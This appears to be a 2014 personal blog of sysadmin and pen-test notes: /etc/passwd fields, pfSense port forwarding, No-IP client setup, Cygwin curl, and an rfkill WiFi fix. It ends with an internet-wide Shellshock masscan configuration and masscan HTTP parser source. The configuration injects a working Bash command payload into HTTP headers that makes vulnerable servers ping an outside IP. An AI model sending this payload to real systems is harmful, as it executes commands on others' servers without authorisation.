Saturday, November 1, 2014

Understanding /etc/passwd File Format

Understanding fields in /etc/passwd
The /etc/passwd contains one entry per line for each user (or user account) of the system. All fields are separated by a colon (:) symbol. Total seven fields as follows.
Generally, passwd file entry looks as follows (click to enlarge image):

(Fig.01: /etc/passwd file format - click to enlarge)
  1. Username: It is used when user logs in. It should be between 1 and 32 characters in length.
  2. Password: An x character indicates that encrypted password is stored in /etc/shadow file.
  3. User ID (UID): Each user must be assigned a user ID (UID). UID 0 (zero) is reserved for root and UIDs 1-99 are reserved for other predefined accounts. Further UID 100-999 are reserved by system for administrative and system accounts/groups.
  4. Group ID (GID): The primary group ID (stored in /etc/group file)
  5. User ID Info: The comment field. It allow you to add extra information about the users such as user's full name, phone number etc. This field use by finger command.
  6. Home directory: The absolute path to the directory the user will be in when they log in. If this directory does not exists then users directory becomes /
  7. Command/shell: The absolute path of a command or shell (/bin/bash). Typically, this is a shell. Please note that it does not have to be a shell.

Here is a sample :

root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/log:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/:/bin/false news:x:9:13:news:/usr/lib/news:/bin/false uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games:/bin/false ftp:x:14:50::/home/ftp:/bin/false smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false mysql:x:27:27:MySQL:/var/lib/mysql:/bin/false rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/:/bin/false gdm:x:42:42:GDM:/var/state/gdm:/bin/bash oprofile:x:51:51:oprofile:/:/bin/false apache:x:80:80:User for Apache:/srv/httpd:/bin/false messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false pop:x:90:90:POP:/:/bin/false nobody:x:99:99:nobody:/:/bin/false backup:x:1000:100:Back User,,,:/home/backup:/bin/bash fred:x:1001:100:Fredrick Ellis,,,:/var/www/htdocs/pinayoncam4u:/bin/bash bud:x:1002:100:Alexander Thomas Holmes,,,:/home/bud:/bin/bash

Task: See User List
/etc/passwd is only used for local users only. To see list of all users, enter:
$ cat /etc/passwd
To search for a username called tom, enter:
$ grep tom /etc/passwd

/etc/passwd file permission

The permission on the /etc/passwd file should be read only to users (-rw-r--r--) and the owner must be root:
$ ls -l /etc/passwd
Output:
-rw-r--r-- 1 root root 2659 Sep 17 01:46 /etc/passwd

Reading /etc/passwd file

You can read /etc/passwd file using the while loop and IFS separator as follows:
#!/bin/bash
# seven fields from /etc/passwd stored in $f1,f2...,$f7
# 
while IFS=: read -r f1 f2 f3 f4 f5 f6 f7
do
 echo "User $f1 use $f7 shell and stores files in $f6 directory."
done < /etc/passwd
 

Your password is stored in /etc/shadow file

Your encrypted password is not stored in /etc/passwd file. It is stored in /etc/shadow file. In the good old days there was no great problem with this general read permission. Everybody could read the encrypted passwords, but the hardware was too slow to crack a well-chosen password, and moreover, the basic assumption used to be that of a friendly user-community.
Almost, all modern Linux / UNIX line operating systems use some sort of the shadow password suite, where /etc/passwd has asterisks (*) instead of encrypted passwords, and the encrypted passwords are in /etc/shadow which is readable by the superuser only.

Ref: http://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/

Friday, October 31, 2014

Port FWing on PFSense

Version 1.2.3

  1. Go to the Firewall menu, select NAT, then click on the Port Forward tab.
  2. Click on the + icon at the top or bottom of the screen.
  3. Choose the Interface for the port forward (likely WAN) and if needed, pick a virtual IP address from the External Address drop-down.
  4. Enter your forwarded port in the External Port range box(es)
  5. Enter the internal IP address you'd like to send that port to in the NAT IP box.
  6. Fill in a local port if it differs from the external port.
  7. Check the Auto-add a firewall rule checkbox
  8. Click Save which will return you to the Port Forward NAT screen, showing you all the NAT entries.
  9. Finally, click Apply Changes - wait a few seconds and test.

Ref: https://doc.pfsense.org/index.php/How_can_I_forward_ports_with_pfSense

How to Install the Dynamic Update Client on Linux

How to Install the Dynamic Update Client on Linux


After setting up a no-ip account this is necessary if you don't have a static IP from your ISP.
This guide will walk you through the installation and setup of the Dynamic Update Client (DUC) on a computer running Linux.  If you are using Ubuntu or Debian Linux please check our support site for guides on their specific setup.
If you are using Ubuntu Linux, please click here.
Installing the Client
The below commands should be executed from a terminal window (command prompt) after logging in as the “root” user.  You can become the root user from the command line by entering “sudo su -” followed by the root password on your machine.
Note: If you do not have privileges on the machine you are on, you may add the “sudo” command in front of steps (5 and 6).
  1. cd /usr/local/src
  2. wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
  3. tar xzf noip-duc-linux.tar.gz
  4. cd no-ip-2.1.9
  5. make
  6. make install
If you get “make not found” or “missing gcc” then you do not have the gcc compiler tools on your machine.  You will need to install these in order to procede.
To Configure the Client
As root again (or with sudo) issue the below command:
  • /usr/local/bin/noip2 -C   (dash capital C, this will create the default config file)
You will then be prompted for your username and password for No-IP, as well as which hostnames you wish to update.  Be careful, one of the questions is “Do you wish to update ALL hosts”.  If answered incorrectly this could effect hostnames in your account that are pointing at other locations.
Now the client is installed and configured, you just need to launch it.  Simply issue this final command to launch the client in the background:
  • /usr/local/bin/noip2
Read the README file in the no-ip-2.1.9 folder for instructions on how to make the client run at startup. This varies depending on what Linux distribution you are running.
REf: http://www.noip.com/support/knowledgebase/installing-the-linux-dynamic-update-client/

Thursday, October 30, 2014

How to install packages in Cygwin

While Iv'e known and used Cygwin before I really never leveraged it in a pen-test until today.
After installing cygwin however it needs to be updated to add the packages you need for the required task. Took me a few minutes to figure out how to do this so here are the instructions that worked.

1) Find the cygwin setup.exe file from http://cygwin.com/ and run it.
2) Click/enter preferences until you reach the "Select Packages" window. (See image)
3) Click (+) for Net
4) Click the entry for curl. (Make sure you select the checkbox for the Binary)
5) Install.
6) Open a cygwin window and type curl.exe (should be available now).





Ref: http://stackoverflow.com/questions/3647569/how-do-i-install-curl-on-cygwin

Wednesday, October 29, 2014

Linux WiFi: operation not possible due to RF-kill

Often when I bring my laptop out of hibernation or suspension I am unable to enable wifi. This issue has been reported to have begun after an update that happened just before Christmas 2010. The problem seems to be a bug in a kernel module, which prevents the rfkill's soft and hard block from syncing correctly.

In practice that means you can press your laptop's WiFi button as often as you want, it doesn't change anything. Your wireless adapter will always appear as disabled. If you try to start the wireless interface manually you get the following error message:
sk@ubuntu:~# sudo ifconfig wlan0 up
SIOCSIFFLAGS: Operation not possible due to RF-kill
If you do a rfkill list all you should get an output similar to this:
sk@ubuntu:~$ sudo rfkill list all
0: hp-wifi: Wireless LAN
Soft blocked: yes
Hard blocked: no
1: phy0: Wireless LAN
Soft blocked: yes
Hard blocked: no
Depending on the state of your WiFi button the Hard blocked will either be yes or no. Press the WiFi button and run rfkill list all again to make sure the value for Hard blocked changes.

The actual problem is, that the Soft blocked value is always set to yes, because for some reason the syncing between the hardware block and the software block doesn't work as supposed. To override this behavior, you can just run rfkill unblock wifi and it should work again. Double check by entering rfkill list all again and make sure it looks like this, with all values set to no:
sk@ubuntu:~$ sudo rfkill list all
0: hp-wifi: Wireless LAN
Soft blocked: no
Hard blocked: no
1: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
If you then run ifconfig wlan0 up (or enable the wireless via your desktop's network manager) you should be able to connect to a wireless network again without any further issues.

The configuration, which I've been using:
  • Lenovo B575
  • Atheros ath9k AR9285 Wireless Network Adapter
  • Ubuntu 14.04.1 LTS
It's reported that by turning off the WiFi button during the boot process and switching it on again once the system is up and running may correct the issue. This didn't work for me as the button was still not functional. In the past I simply logged off and back which allowed me to enable wifi it with the button. However this was not the case today. 

  • suspend the system to RAM (either by hitting the SUSPEND-key or by using the Suspend entry in the Logout-menu at right of the upper panel)
  • wait for some seconds
  • press the power button to restart the system
After reboot:
.
The output to 'rfkill list all' finally shows

0: phy0: Wireless LAN
    Soft blocked: no
    Hard blocked: no
1: asus-wlan: Wireless LAN
    Soft blocked: no
    Hard blocked: no

The NetworkManager will activate the WIFI and should offer access points to connect to.

 It seems that the system expects the hard block to be set to off. This is still a bug, but it could explain why then the soft block didn't sync with the hard block any more.

service apache2 status

"service apache2 status" will display if server is running.

or

dhcpd -f 

Bash 'shellshock' scan of the Internet

This masscan can be used to find vulnerable hosts. 
Thanks Mr. Graham.



The configuration file for masscan looks something like:

target-ip = 0.0.0.0/0
port = 80
banners = true
http-user-agent = shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
http-header[Cookie] = () { :; }; ping -c 3 209.126.230.74
http-header[Host] = () { :; }; ping -c 3 209.126.230.74
http-header[Referer] = () { :; }; ping -c 3 209.126.230.74


The last three options don't quite work due to bug, so you have to manually add them to the code. Link listed on top of this page. Or u can just copy from here.


#include "proto-http.h"
#include "proto-banner1.h"
#include "smack.h"
#include "unusedparm.h"
#include "string_s.h"
#include "masscan-app.h"
#include <ctype.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

enum {
    HTTPFIELD_INCOMPLETE,
    HTTPFIELD_SERVER,
    HTTPFIELD_CONTENT_LENGTH,
    HTTPFIELD_CONTENT_TYPE,
    HTTPFIELD_VIA,
    HTTPFIELD_LOCATION,
    HTTPFIELD_UNKNOWN,
    HTTPFIELD_NEWLINE,
};
static struct Patterns http_fields[] = {
    {"Server:",          7, HTTPFIELD_SERVER,           SMACK_ANCHOR_BEGIN},
    //{"Content-Length:", 15, HTTPFIELD_CONTENT_LENGTH,   SMACK_ANCHOR_BEGIN},
    //{"Content-Type:",   13, HTTPFIELD_CONTENT_TYPE,     SMACK_ANCHOR_BEGIN},
    {"Via:",             4, HTTPFIELD_VIA,              SMACK_ANCHOR_BEGIN},
    {"Location:",        9, HTTPFIELD_LOCATION,         SMACK_ANCHOR_BEGIN},
    {":",                1, HTTPFIELD_UNKNOWN, 0},
    {"\n",               1, HTTPFIELD_NEWLINE, 0},
    {0,0,0,0}
};
enum {
    HTML_INCOMPLETE,
    HTML_TITLE,
    HTML_UNKNOWN,
};
static struct Patterns html_fields[] = {
    {"<TiTle",          6, HTML_TITLE, 0},
    {0,0,0,0}
};

extern struct ProtocolParserStream banner_http;



/***************************************************************************
 ***************************************************************************/
unsigned
http_change_field(unsigned char **inout_header, unsigned header_length,
                    const char *field_name,
                    const unsigned char *field_value, unsigned field_value_len)
{
    unsigned char *hdr1 = *inout_header;
    unsigned char *hdr2;
    unsigned i;
    unsigned is_newline_seen = 0;
    unsigned field_name_len = (unsigned)strlen(field_name);

    hdr2 = (unsigned char *)malloc(header_length + field_value_len + 1 + 2);

    memcpy(hdr2, hdr1, header_length);

    /* Remove the previous header and remember the location in the header
     * where it was located */
    for (i=0; i<header_length; i++) {
        if (hdr2[i] == '\r')
            continue;
        if (hdr2[i] == '\n') {
            if (is_newline_seen) {
                /* We've reached the end of header without seing
                 * the field. Therefore, create space right here
                 * for it. */
                while (hdr2[i-1] == '\r')
                    i--;
                break;
            } else if (memcasecmp(&hdr2[i+1], field_name, field_name_len) == 0) {
                unsigned j;
                i++; /* skip previous newline */
                for (j=i; j<header_length && hdr2[j] != '\n'; j++)
                    ;
                if (j < header_length && hdr2[j] == '\n')
                    j++;
                memmove(    &hdr2[i],
                            &hdr2[j],
                            header_length - j);
                header_length -= (j - i);
                hdr2[header_length] = '\0';
                break;
            }
        }
    }

    /* Insert the new header at this location */
    memmove(    &hdr2[i + field_name_len + field_value_len + 1 + 2],
                &hdr2[i],
                header_length - i);
    memcpy( &hdr2[i],
            field_name,
            field_name_len);
    memcpy( &hdr2[i + field_name_len],
            " ",
            1);
    memcpy( &hdr2[i + field_name_len + 1],
            field_value,
            field_value_len);
    memcpy( &hdr2[i + field_name_len + 1 + field_value_len],
            "\r\n",
            2);

    header_length += field_name_len + 1 + field_value_len + 2;

    free(hdr1);
    *inout_header = hdr2;
    return header_length;
}

/***************************************************************************
 ***************************************************************************/
static const char
http_hello[] =      "GET / HTTP/1.0\r\n"
                    "User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)\r\n"
                    "Accept: */*\r\n"
                    //"Connection: Keep-Alive\r\n"
                    //"Content-Length: 0\r\n"
                    "\r\n";


/*****************************************************************************
 *****************************************************************************/
void
field_name(struct BannerOutput *banout, size_t id,
           struct Patterns *xhttp_fields);
void
field_name(struct BannerOutput *banout, size_t id,
           struct Patterns *xhttp_fields)
{
    unsigned i;
    if (id == HTTPFIELD_INCOMPLETE)
        return;
    if (id == HTTPFIELD_UNKNOWN)
        return;
    if (id == HTTPFIELD_NEWLINE)
        return;
    for (i=0; xhttp_fields[i].pattern; i++) {
        if (xhttp_fields[i].id == id) {
            banout_newline(banout, PROTO_HTTP);
            banout_append(  banout, PROTO_HTTP,
                            (const unsigned char*)xhttp_fields[i].pattern
                                + ((xhttp_fields[i].pattern[0]=='<')?1:0), /* bah. hack. ugly. */
                            xhttp_fields[i].pattern_length
                                - ((xhttp_fields[i].pattern[0]=='<')?1:0) /* bah. hack. ugly. */
                          );
            return;
        }
    }
}

/*****************************************************************************
 * Initialize some stuff that's part of the HTTP state-machine-parser.
 *****************************************************************************/
static void *
http_init(struct Banner1 *b)
{
    unsigned i;

    /*
     * These match HTTP Header-Field: names
     */
    b->http_fields = smack_create("http", SMACK_CASE_INSENSITIVE);
    for (i=0; http_fields[i].pattern; i++)
        smack_add_pattern(
                          b->http_fields,
                          http_fields[i].pattern,
                          http_fields[i].pattern_length,
                          http_fields[i].id,
                          http_fields[i].is_anchored);
    smack_compile(b->http_fields);

    /*
     * These match HTML <tag names
     */
    b->html_fields = smack_create("html", SMACK_CASE_INSENSITIVE);
    for (i=0; html_fields[i].pattern; i++)
        smack_add_pattern(
                          b->html_fields,
                          html_fields[i].pattern,
                          html_fields[i].pattern_length,
                          html_fields[i].id,
                          html_fields[i].is_anchored);
    smack_compile(b->html_fields);

    banner_http.hello = (unsigned char*)malloc(banner_http.hello_length);
    memcpy((char*)banner_http.hello, http_hello, banner_http.hello_length);

    return b->http_fields;
}

/***************************************************************************
 * BIZARRE CODE ALERT!
 *
 * This uses a "byte-by-byte state-machine" to parse the response HTTP
 * header. This is standard practice for high-performance network
 * devices, but is probably unfamiliar to the average network engineer.
 *
 * The way this works is that each byte of input causes a transition to
 * the next state. That means we can parse the response from a server
 * without having to buffer packets. The server can send the response
 * one byte at a time (one packet for each byte) or in one entire packet.
 * Either way, we don't. We don't need to buffer the entire response
 * header waiting for the final packet to arrive, but handle each packet
 * individually.
 *
 * This is especially useful with our custom TCP stack, which simply
 * rejects out-of-order packets.
 ***************************************************************************/
static void
http_parse(
        const struct Banner1 *banner1,
        void *banner1_private,
        struct ProtocolState *pstate,
        const unsigned char *px, size_t length,
        struct BannerOutput *banout,
        struct InteractiveData *more)
{
    unsigned state = pstate->state;
    unsigned i;
    unsigned state2;
    unsigned log_begin = 0;
    unsigned log_end = 0;
    size_t id;
    enum {
        FIELD_START = 9,
        FIELD_NAME,
        FIELD_COLON,
        FIELD_VALUE,
        CONTENT,
        CONTENT_TAG,
        CONTENT_FIELD
    };

    UNUSEDPARM(banner1_private);
    UNUSEDPARM(more);

    state2 = (state>>16) & 0xFFFF;
    id = (state>>8) & 0xFF;
    state = (state>>0) & 0xFF;

    for (i=0; i<length; i++)
    switch (state) {
    case 0: case 1: case 2: case 3: case 4:
        if (toupper(px[i]) != "HTTP/"[state])
            state = STATE_DONE;
        else
            state++;
        break;
    case 5:
        if (px[i] == '.')
            state++;
        else if (!isdigit(px[i]))
            state = STATE_DONE;
        break;
    case 6:
        if (isspace(px[i]))
            state++;
        else if (!isdigit(px[i]))
            state = STATE_DONE;
        break;
    case 7:
        /* TODO: look for 1xx response code */
        if (px[i] == '\n')
            state = FIELD_START;
        break;
    case FIELD_START:
        if (px[i] == '\r')
            break;
        else if (px[i] == '\n') {
            state2 = 0;
            state = CONTENT;
            log_end = i;
            banout_append(banout, PROTO_HTTP, px+log_begin, log_end-log_begin);
            log_begin = log_end;
            break;
        } else {
            state2 = 0;
            state = FIELD_NAME;
            /* drop down */
        }

    case FIELD_NAME:
        if (px[i] == '\r')
            break;
        id = smack_search_next(
                        banner1->http_fields,
                        &state2,
                        px, &i, (unsigned)length);
        i--;
        if (id == HTTPFIELD_NEWLINE) {
            state2 = 0;
            state = FIELD_START;
        } else if (id == SMACK_NOT_FOUND)
            ; /* continue here */
        else if (id == HTTPFIELD_UNKNOWN) {
            /* Oops, at this point, both ":" and "Server:" will match.
             * Therefore, we need to make sure ":" was found, and not
             * a known field like "Server:" */
            size_t id2;

            id2 = smack_next_match(banner1->http_fields, &state2);
            if (id2 != SMACK_NOT_FOUND)
                id = id2;

            state = FIELD_COLON;
        } else
            state = FIELD_COLON;
        break;
    case FIELD_COLON:
        if (px[i] == '\n') {
            state = FIELD_START;
            break;
        } else if (isspace(px[i])) {
            break;
        } else {
            //field_name(banout, id, http_fields);
            state = FIELD_VALUE;
            /* drop down */
        }

    case FIELD_VALUE:
        if (px[i] == '\r')
            break;
        else if (px[i] == '\n') {
            state = FIELD_START;
            break;
        }
        switch (id) {
        case HTTPFIELD_SERVER:
        case HTTPFIELD_LOCATION:
        case HTTPFIELD_VIA:
            //banner_append(&px[i], 1, banout);
            break;
        case HTTPFIELD_CONTENT_LENGTH:
                if (isdigit(px[i]&0xFF)) {
                    ; /*todo: add content length parsing */
                } else {
                    id = 0;
                }
            break;
        }
        break;
    case CONTENT:
        {
            unsigned next = i;

            id = smack_search_next(
                                   banner1->html_fields,
                                   &state2,
                                   px, &next, (unsigned)length);

            if (banner1->is_capture_html) {
                banout_append(banout, PROTO_HTML_FULL, &px[i], next-i);
            }

            if (id != SMACK_NOT_FOUND) {
                state = CONTENT_TAG;
            }

            i = next - 1;
        }
        break;
    case CONTENT_TAG:
        for (; i<length; i++) {
            if (banner1->is_capture_html) {
                banout_append_char(banout, PROTO_HTML_FULL, px[i]);
            }

            if (px[i] == '>') {
                state = CONTENT_FIELD;
                break;
            }
        }
        break;
    case CONTENT_FIELD:
        if (banner1->is_capture_html) {
            banout_append_char(banout, PROTO_HTML_FULL, px[i]);
        }
        if (px[i] == '<')
            state = CONTENT;
        else {
            banout_append_char(banout, PROTO_HTML_TITLE, px[i]);
        }
        break;
    case STATE_DONE:
    default:
        i = (unsigned)length;
        break;
    }

    if (log_end == 0 && state < CONTENT)
        log_end = i;
    if (log_begin < log_end)
        banout_append(banout, PROTO_HTTP, px + log_begin, log_end-log_begin);



    if (state == STATE_DONE)
        pstate->state = state;
    else
        pstate->state = (state2 & 0xFFFF) << 16
                | (id & 0xFF) << 8
                | (state & 0xFF);
}


/***************************************************************************
 ***************************************************************************/
static int
http_selftest(void)
{
    return 0;
}

/***************************************************************************
 ***************************************************************************/
struct ProtocolParserStream banner_http = {
    "http", 80, http_hello, sizeof(http_hello)-1, 0,
    http_selftest,
    http_init,
    http_parse,
};